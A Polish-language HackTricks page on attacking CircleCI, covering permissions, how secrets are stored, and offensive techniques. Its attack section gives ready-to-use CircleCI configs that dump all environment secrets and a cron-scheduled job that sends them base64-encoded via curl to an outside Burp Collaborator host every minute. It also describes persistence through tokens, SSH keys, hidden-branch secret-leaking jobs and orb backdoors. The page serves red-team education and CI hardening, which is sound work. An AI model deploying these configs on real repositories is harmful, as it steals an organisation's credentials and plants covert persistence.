CircleCI Security

Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

CircleCI to platforma do ciągłej integracji, gdzie możesz definiować szablony, określając, co chcesz, aby zrobiła z kodem i kiedy to zrobić. W ten sposób możesz automatyzować testowanie lub wdrożenia bezpośrednio z gałęzi master repozytorium na przykład.

Uprawnienia

CircleCI dziedziczy uprawnienia z githuba i bitbucketa związane z kontem, które się loguje. W moich testach sprawdziłem, że o ile masz uprawnienia do zapisu w repozytorium na githubie, będziesz mógł zarządzać ustawieniami projektu w CircleCI (ustawiać nowe klucze ssh, uzyskiwać klucze api projektu, tworzyć nowe gałęzie z nowymi konfiguracjami CircleCI...).

Jednak musisz być administratorem repozytorium, aby przekształcić repozytorium w projekt CircleCI.

Zmienne środowiskowe i Sekrety

Zgodnie z dokumentacją istnieją różne sposoby ładowania wartości do zmiennych środowiskowych w ramach przepływu pracy.

Wbudowane zmienne środowiskowe

Każdy kontener uruchomiony przez CircleCI będzie zawsze miał określone zmienne środowiskowe zdefiniowane w dokumentacji takie jak CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME lub CIRCLE_USERNAME.

Tekst jawny

Możesz je zadeklarować w postaci tekstu jawnego wewnątrz polecenia:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

Możesz je zadeklarować w czytelnym tekście wewnątrz środowiska uruchomieniowego:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

Możesz je zadeklarować w czytelnym tekście wewnątrz środowiska build-job:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Możesz je zadeklarować w czystym tekście w środowisku kontenera:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Tajne projekty

To są sekrety, które będą dostępne tylko dla projektu (dla dowolnej gałęzi). Możesz je zobaczyć zadeklarowane w https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables

Funkcjonalność "Importuj zmienne" pozwala na importowanie zmiennych z innych projektów do tego.

Tajne kontekstu

To są tajne informacje, które są ogólnodostępne dla organizacji. Domyślnie każde repozytorium będzie miało dostęp do dowolnego tajnego przechowywanego tutaj:

Należy jednak zauważyć, że można wybrać inną grupę (zamiast Wszyscy członkowie), aby udostępnić dostęp do tajnych informacji tylko określonym osobom. Obecnie jest to jedna z najlepszych metod zwiększenia bezpieczeństwa tajnych informacji, aby nie pozwalać wszystkim na dostęp do nich, ale tylko wybranym osobom.

Ataki

Wyszukiwanie jawnie zapisanych tajemnic

Jeśli masz dostęp do VCS (takiego jak github), sprawdź plik .circleci/config.yml każdego repozytorium na każdej gałęzi i szukaj potencjalnych jawnie zapisanych tajemnic przechowywanych tam.

Zmienne środowiskowe tajnych informacji i wyliczanie kontekstu

Sprawdzając kod, możesz znaleźć wszystkie nazwy tajnych informacji, które są używane w każdym pliku .circleci/config.yml. Możesz także uzyskać nazwy kontekstów z tych plików lub sprawdzić je w konsoli internetowej: https://app.circleci.com/settings/organization/github/<org_name>/contexts.

Wyciek tajnych informacji projektu

Aby wyciec wszystkie tajne informacje projektu i kontekstu, wystarczy mieć uprawnienia DO ZAPISU do tylko 1 repozytorium w całej organizacji github (i twoje konto musi mieć dostęp do kontekstów, ale domyślnie każdy może uzyskać dostęp do każdego kontekstu).

Funkcjonalność "Importuj zmienne" pozwala na importowanie zmiennych z innych projektów do tego. Dlatego atakujący mógłby zaimportować wszystkie zmienne projektu ze wszystkich repozytoriów a następnie wyciec wszystkie razem.

Wszystkie tajne informacje projektu zawsze są ustawione w środowisku zadań, więc po prostu wywołanie env i zaszyfrowanie go w base64 spowoduje wyciek tajnych informacji w konsoli dziennika prac przepływów:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

Jeśli nie masz dostępu do konsoli internetowej, ale masz dostęp do repozytorium i wiesz, że jest używany CircleCI, możesz po prostu utworzyć przepływ pracy, który jest uruchamiany co minutę i wysyła tajne informacje do zewnętrznego adresu:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

Wyciek kontekstu sekretów

Musisz określić nazwę kontekstu (spowoduje to również wyciek sekretów projektu):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

Jeśli nie masz dostępu do konsoli internetowej, ale masz dostęp do repozytorium i wiesz, że jest używany CircleCI, możesz po prostu zmodyfikować pracę, która jest uruchamiana co minutę i wycieka tajne informacje do zewnętrznego adresu:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

Po prostu utworzenie nowego pliku .circleci/config.yml w repozytorium nie wystarczy, aby uruchomić proces budowania w CircleCI. Musisz włączyć go jako projekt w konsoli CircleCI.

Ucieczka do chmury

CircleCI daje Ci opcję uruchamiania swoich procesów budowania na ich maszynach lub na własnych. Domyślnie ich maszyny znajdują się w GCP, i początkowo nie będziesz w stanie znaleźć nic istotnego. Jednak jeśli ofiara uruchamia zadania na własnych maszynach (potencjalnie w środowisku chmurowym), możesz natrafić na punkt końcowy metadanych chmury z ciekawymi informacjami.

Zauważ, że w poprzednich przykładach wszystko było uruchamiane wewnątrz kontenera Docker, ale możesz również poprosić o uruchomienie maszyny wirtualnej VM (która może mieć inne uprawnienia chmurowe):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

Lub nawet kontener Docker z dostępem do zdalnej usługi Docker:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Wytrwałość

  • Możliwe jest utworzenie tokenów użytkownika w CircleCI w celu uzyskania dostępu do punktów końcowych API z uprawnieniami użytkownika.

  • https://app.circleci.com/settings/user/tokens

  • Możliwe jest utworzenie tokenów projektów w celu uzyskania dostępu do projektu z uprawnieniami nadanymi tokenowi.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/api

  • Możliwe jest dodanie kluczy SSH do projektów.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh

  • Możliwe jest utworzenie zadania cron w ukrytej gałęzi w nieoczekiwanym projekcie, który wycieka wszystkie zmienne środowiskowe kontekstu codziennie.

  • Lub nawet utworzenie w gałęzi / zmodyfikowanie znanego zadania, które będzie wyciekać wszystkie konteksty i sekrety projektów codziennie.

  • Jeśli jesteś właścicielem githuba, możesz zezwolić na niezweryfikowane orby i skonfigurować je w zadaniu jako tylną furtkę

  • Możesz znaleźć lukę wstrzykiwania poleceń w pewnym zadaniu i wstrzyknąć polecenia za pomocą sekretu, zmieniając jego wartość.

Last updated